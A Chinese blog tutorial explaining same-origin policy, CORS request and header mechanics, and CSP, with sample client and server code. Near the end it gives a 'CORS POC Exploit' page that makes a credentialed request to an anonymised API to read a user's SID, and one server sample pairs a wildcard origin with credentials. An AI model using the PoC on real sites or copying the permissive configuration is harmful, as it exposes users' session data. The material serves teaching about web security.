首页 » NetworkSec » Penetration » 正文

浅谈sop、cors和csp

0x00 SOP(同源策略)

协议、域名、端口相同。

简单说就是防止A网站读取B网站的cookie(资源)。

ie不受端口和授信范围(信任度)限制。

sop虽然增加了安全性,但在某些情况下(如子域间通信)造成了不便,这时候需要跨域:
1.document.domain

2. #片段标识

3. name

4. postMessage

5. jsonp

6. cors

7. Websocket

<script><img><iframe><link><video><audio>等带有src属性的标签可以从不同的域加载资源,但不能读资源

0x01 CORS(跨域资源共享)

允许浏览器向跨源服务器发XMLHttpRequest请求,突破了ajax只能同源的限制,并且和ajax代码一样,关键在服务器的cors配置。

客户端:

var invocation = new XMLHttpRequest();var url = 'http://bar.other/resources/public-data/';
   function callOtherDomain() {
  if(invocation) {    
    invocation.open('GET', url, true);
    invocation.onreadystatechange = handler;
invocation.send();

或者判断浏览器:

<!DOCTYPE html> 
<html>
<head>
<script type="text/javascript" src="./functions.js"></script>
</head>
<body>
<script type="text/javascript">
// Create the XHR object.
function createCORSRequest(method, url) {
  var xhr = new XMLHttpRequest();
  if ("withCredentials" in xhr) {
    // XHR for Chrome/Firefox/Opera/Safari.
    xhr.open(method, url, true);
  } else if (typeof XDomainRequest != "undefined") {
    // XDomainRequest for IE.
    xhr = new XDomainRequest();
    xhr.open(method, url);
  } else {
    // CORS not supported.
    xhr = null;
  }
  return xhr;
}
// Make the actual CORS request.
function makeCorsRequest() {
  // All HTML5 Rocks properties support CORS.
  var url = 'http://oss-cors-test.oss-cn-hangzhou.aliyuncs.com/test.txt';
  var xhr = createCORSRequest('GET', url);
  if (!xhr) {
    alert('CORS not supported');
    return;
  }
  // Response handlers.
  xhr.onload = function() {
    var text = xhr.responseText;
    var title = text;
    alert('Response from CORS request to ' + url + ': ' + title);
  };
  xhr.onerror = function() {
    alert('Woops, there was an error making the request.');
  };
  xhr.send();
}
</script>
<p align="center" style="font-size: 20px;">
<a href="#" onclick="makeCorsRequest(); return false;">Run Sample</a>
</p>
</body>
</html>

服务端:

java:

response.setHeader("Access-Control-Allow-Origin", "*");
 response.setHeader("Access-Control-Allow-Methods", "POST"); 
response.setHeader("Access-Control-Allow-Headers", "x-requested-with,content-type"); 
response.addHeader("Access-Control-Allow-Credentials", "true");

php:

<?php
        header('Access-Control-Allow-Origin: http://www.goodomain.com');
 
        header('Access-Control-Allow-Credentials: true');                           
 
        header('Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS');
 
        header('Access-Control-Allow-Headers: Authorization');
 
        if ($_SERVER['REQUEST_METHOD'] == 'OPTIONS') { 
            exit;
        }
 
        echo json_encode(array('status' => '1', 'data' => ''));
   ?>

nginx:

CORS分简单请求和非简单请求:

1. 简单请求

【1】方法:head/get/post

【2】http头:

accept/accept-language/content-language/last-event-id/content-type

直接发cors请求,http头加origin

origin为请求来源

如果服务器允许此来源,则返回的响应有:
Access-Control-Allow-Origin(必须)

Access-Control-Allow-Credentials(可选)

Access-Control-Expose-Headers(可选)

acao:

该值为origin的值或*

acac:

是否允许发cookie

若允许

ajax要设置withCredentials为true

acao必须为origin,不能设置为*

aceh:

可返回自定义http头字段值

如果服务器不允许此来源,则返回正常http响应,不发上述字段(acao),浏览器就出错。

 

2.非简单请求

先进行预检请求options,包括以下字段

origin(必选)

Access-Control-Request-Method:(必选)

Access-Control-Request-Headers(可选)

 

acrm:

http方法

 

acrh:
自定义http头字段

 

如果服务器允许该来源,返回字段有:
Access-Control-Allow-Origin:

Access-Control-Allow-Methods:

Access-Control-Allow-Headers:

acac

是否允许cookie
acam:

服务器支持的跨域请求方法

 

acah:
服务器支持的所有头字段

如果服务器不允许该来源,则返回正常http响应,无上述头字段,浏览器出错

接着就和简单请求一样了。

 

测试:
利用https://api.xxx.net/api/user_details

cors-poc.html:

<html>
<body>
<center>
<h2>CORS POC Exploit</h2>
<h3>Extract SID</h3>
 
<div id="demo">
<button type="button" onclick="cors()">Exploit</button>
</div>
 
<script>
function cors() {
  var xhttp = new XMLHttpRequest();
  xhttp.onreadystatechange = function() {
    if (this.readyState == 4 && this.status == 200) {
      document.getElementById("demo").innerHTML = alert(this.responseText);
    }
  };
  xhttp.open("GET", "https://api.xxx.net/api/user_details/5ba9b72013b0897618cad94f", true);
  xhttp.withCredentials = true;
  xhttp.send();
}
</script>
 
</body>
</html>

0x02 CSP(内容安全策略)

内容安全策略,防御xss,点击劫持等。

是规则,允许哪些资源的哪些来源(加载)

通过http header或标签<meta>使用:

Content-Security-Policy: policy

or
<meta http-equiv=”Content-Security-Policy” content=”default-src ‘self’; img-src https://*; child-src ‘none’;”>

csp指令参考

https://content-security-policy.com

https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Headers/Content-Security-Policy__by_cnvoid

 

0x03 参考资料

www.ruanyifeng.com/blog/2016/04/cors.html

https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Access_control_CORS

www.geekboy.ninja/blog/exploiting-misconfigured-cors-cross-origin-resource-sharing/

https://xzfile.aliyuncs.com/upload/affix/20180916002411-c70c1d4a-b903-1.pdf

www.ruanyifeng.com/blog/2016/09/csp.html

https://changsiyuan.github.io/2015/10/30/cross-domain/

 

 

 

 

Comment